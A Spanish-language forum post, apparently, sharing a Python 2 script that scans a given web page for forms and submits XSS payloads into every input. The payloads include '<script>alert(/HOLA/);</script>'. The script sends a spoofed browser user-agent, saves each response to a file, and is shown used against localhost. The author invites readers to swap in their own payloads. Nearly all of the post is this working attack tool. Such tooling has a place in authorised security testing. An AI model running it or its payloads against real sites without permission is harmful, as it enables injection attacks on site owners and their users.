Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código
#!/usr/bin/python import urllib2,urllib,sys,string from HTMLParser import HTMLParser class parsearhtml(HTMLParser): formactual = -1 atributosform = [] atributosinput = [] def handle_starttag(self, tag, attrs): atributosform = {} atributosinput = {} if tag=="form": for i in range(len(attrs)): atributosform[attrs[i][0]] = attrs[i][1] self.atributosform.append(atributosform) self.atributosinput.append([]) self.formactual+=1 if tag=="input": for i in range(len(attrs)): atributosinput[attrs[i][0]] = attrs[i][1] self.atributosinput[self.formactual].append(atributosinput) def obtenerhost(url): #Funcion que obtiene el host if url[0:7]=='http://': return url[0:url[7:].find('/')+7] if url[0:8]=='https://': return url[0:url[8:].find('/')+8] return url def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo... i = len(url)-1 while i!=0: if url[i]=='/': return url[:i+1] i-=1 return url def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables global host,carpeta if action.find('http://')!=-1 or action.find('https://')!=-1: return action if action[0]=='/': return host+action else : return carpeta+action url = sys.argv[1] host = obtenerhost(url) carpeta = obtenercarpeta(url) #Variables de localizacion useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5" cabeceras = { "User-Agent" : useragent } code = urllib2.urlopen(url).read() print "Codigo de la pagina obtenido ..." try : parser = parsearhtml() parser.feed(code) # Ha recogido todos los forms y los inputs except : print "Hubo un error parseando el HTML" #Ya tengo todos los datos necesarios print "Datos obtenidos ..." payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS atributosform = parser.atributosform atributosinput = parser.atributosinput if len(atributosform)==0: print "No se encontraron forms" for indice in range(len(atributosform)): #Se obtiene la direccion a la que mandar los datos print "Obteniendo direccion a la que mandar los datos... " if atributosform[indice].has_key('action'): urlamandar = obtenerruta(atributosform[indice]['action']) else: urlamandar = url #Se empiezan a rellenar las variables con los payloads correspondientes... maliciousdata = {} print "Rellenando con los payloads las variables ..." for varinput in atributosinput[indice]: if varinput.has_key('name'): maliciousdata[varinput['name']] = payloads[1] maliciousdata = urllib.urlencode(maliciousdata) req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras) codeinfectado = urllib2.urlopen(req).read() print "Escribiendo el archivo ",str(indice)+".html" resultado = open(str(indice)+'.html','w') resultado.write(codeinfectado)
Le podéis modificar facilmente el user-agent y el payload.
Uso :
Código:
python xss.py http://localhost/xss.php